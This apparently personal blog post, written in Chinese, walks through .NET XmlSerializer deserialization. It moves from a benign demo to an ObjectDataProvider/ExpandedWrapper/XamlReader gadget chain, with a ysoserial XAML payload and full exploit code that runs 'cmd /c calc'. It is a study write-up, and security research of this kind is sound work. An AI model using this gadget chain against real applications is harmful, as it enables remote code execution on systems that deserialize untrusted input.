[DotnetSec]XmlSerializer 反序列化 分析

Dotnet - XmlSerializer 反序列化

序列化和反序列化的演示Demo

参考微软的文档:https://learn.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0

  • XmlSerializer

命名空间:System.Xml.Serialization

程序集:System.Xml.XmlSerializer.dll

  • 演示demo

注解:

[XmlRoot]	// XML根
[XmlElement] // XML中的实体节点
[XmlArray("Items")]
[XmlAttribute]	// 声明的对应变量位于XML元素的开始标签属性   <book name="1"></book>  比如name

如何进行序列化:

  1. 声明内存空间,使用流对象代理
  2. 声明写内存的StreamWriter对象,由于序列化需要传入Textwriter类型,所以声明为Textwriter
// 传入类型, 指明了xml文档对应的对象类型
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));

// 声明流
MemoryStream memoryStream = new MemoryStream();

// TextWriter为写连续字符的抽象类
TextWriter writer = new StreamWriter(memoryStream);

// 序列化
xmlSerializer.Serialize(writer, p);

// 输出序列化后的xml文档
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

反序列化

// 重置流指针, 为反序列化做准备
memoryStream.position = 0;
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);

完整代码:

namespace XmlDeserialization
{
    // XML
    [XmlRoot]
    public class Person
    {
        [XmlElement]
        public int Age { get; set; }
        
        // XML文档中的一个元素 
        [XmlElement]
        public string Name { get; set; }

        [XmlArray("Items")] 
        public Order[] OrderedItems;
        
        // XML元素的开始标签属性   <book name="1"></book>  比如name
        [XmlAttribute]
        public string ClassName { get; set; } 

    }

    public class Order
    {
        public int OrderID;
    }
     
    // 测试
    internal class Program
    {
        public static void Main(string[] args)
        {
            Person p = new Person();
            p.Name = "jack";
            p.Age = 12;
            // 两份 order
            Order order = new Order();
            order.OrderID = 123;
            Order order1 = new Order();
            order.OrderID = 456;
            Order[] orders = new Order[] { order, order1 };
            p.OrderedItems = orders;
            p.ClassName = "classname";
                        
            XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
            //XmlSerializer xmlSerializer = new XmlSerializer(p.GetType());
            //XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType("XmlDeserialization.Person"));
                        
            MemoryStream memoryStream = new MemoryStream();
            TextWriter writer = new StreamWriter(memoryStream);
            
            // 序列化
            xmlSerializer.Serialize(writer, p);
            
            memoryStream.Position = 0;
            
            // 输出xml
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
            // 反序列化
            Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
            Console.WriteLine(p1);
        }
    }
}    

反序列化漏洞分析

环境配置

首先需要下载好依赖,使用NuGet,有GUI很舒服

(可以去微软文档查看对应函数需要的程序集)

image-20240224154616524

以及添加引用using System.Data.Services.Internal;

image-20240224155504380

ObjectDataProvider使用

官方文档的介绍:https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=windowsdesktop-8.0

Wraps and creates an object that you can use as a binding source.

演示demo

ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");		// 参数
o.MethodParameters.Add("/c calc");		
o.MethodName = "Start";					// 对象方法
o.ObjectInstance = new Process();		// 绑定的对象实例

但是没办法对该对象进行XML序列化,那么自然也就没有反序列化

具体原因如报错:

未经处理的异常: System.InvalidOperationException: 生成 XML 文档时出错。 ---> System.InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。

未动态执行前,无法得知ObjectDataProvider绑定的对象信息

image-20240226103005923

image-20240226103044699

ExpandedWrapper包装器

  • ExpandedWrapper包装类定义如下:主要是一个泛型的思想在这
  public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : 
    ExpandedWrapper<TExpandedElement>
  {
    /// <summary>Get or sets the property to expand.</summary>
    /// <returns>The property to expand.</returns>
    public TProperty0 ProjectedProperty0 { get; set; }

    protected override object InternalGetExpandedPropertyValue(int nameIndex)
    {
      if (nameIndex == 0)
        return (object) this.ProjectedProperty0;
      throw Error.NotSupported();
    }
  }
  • 使用方法:

TProperty0表示要包装的类型

ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();

序列化

        ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper =
            new ExpandedWrapper<Process, ObjectDataProvider>();
        expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
        expandedWrapper.ProjectedProperty0.MethodName = "Start";
        expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
        expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();

        Type t = typeof(ExpandedWrapper<Process, ObjectDataProvider>);

        XmlSerializer xml = new XmlSerializer(t);
        MemoryStream memoryStream = new MemoryStream();
        TextWriter writer = new StreamWriter(memoryStream);
        xml.Serialize(writer, expandedWrapper);

通过泛型类包装可以绕过序列化时因未知类型而失败的限制

但是Process类中存在接口,无法被序列化

image-20240226144123413

ResourceDictionary攻击链

Windows Presentation Foundation (WPF) :一个独立于分辨率并使用基于矢量的渲染引擎的 UI 框架

XAML 是一种声明性标记语言。当应用于 .NET 编程模型时,XAML 简化了为 .NET 应用程序创建 UI

ResourceDictionary包含了wpf,那么自然可以涉及到xaml

首先我们使用yso生成XAML形式打ObjectDataProvider的反序列化链

> ysoserial.exe -g ObjectDataProvider -c calc -f Xaml               
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

配合ExpandedWrapper, ObjectDataProvider思路:

XmlSerializer-- ExpandedWrapper<XamlReader, ObjectDataProvider> -- ObjectDataProvidfer -- XamlReader.Parse

完整exp如下:

            string cmd = @"<?xml version=""1.0"" encoding=""utf-16""?>
<ObjectDataProvider MethodName=""Start"" IsInitialLoadEnabled=""False"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments=""/c calc"" StandardErrorEncoding=""{x:Null}"" StandardOutputEncoding=""{x:Null}"" UserName="""" Password=""{x:Null}"" Domain="""" LoadUserProfile=""False"" FileName=""cmd"" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>";
            
            
            ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper =
                new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            // 设置ObjectDataProvider的相关参数
            expandedWrapper.ProjectedProperty0.MethodName = "Parse";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add(cmd);
            expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
            
            
            // 序列化
            MemoryStream memoryStream = new MemoryStream();
            TextWriter textWriter = new StreamWriter(memoryStream);
            XmlSerializer xmlSerializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
            xmlSerializer.Serialize(textWriter, expandedWrapper);
            string XMLShell = Encoding.UTF8.GetString(memoryStream.ToArray());
            
			// 
            Console.WriteLine(XMLShell);

参考文献

https://github.com/Y4er/dotnet-deserialization

posted @   Icfh  阅读(115)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示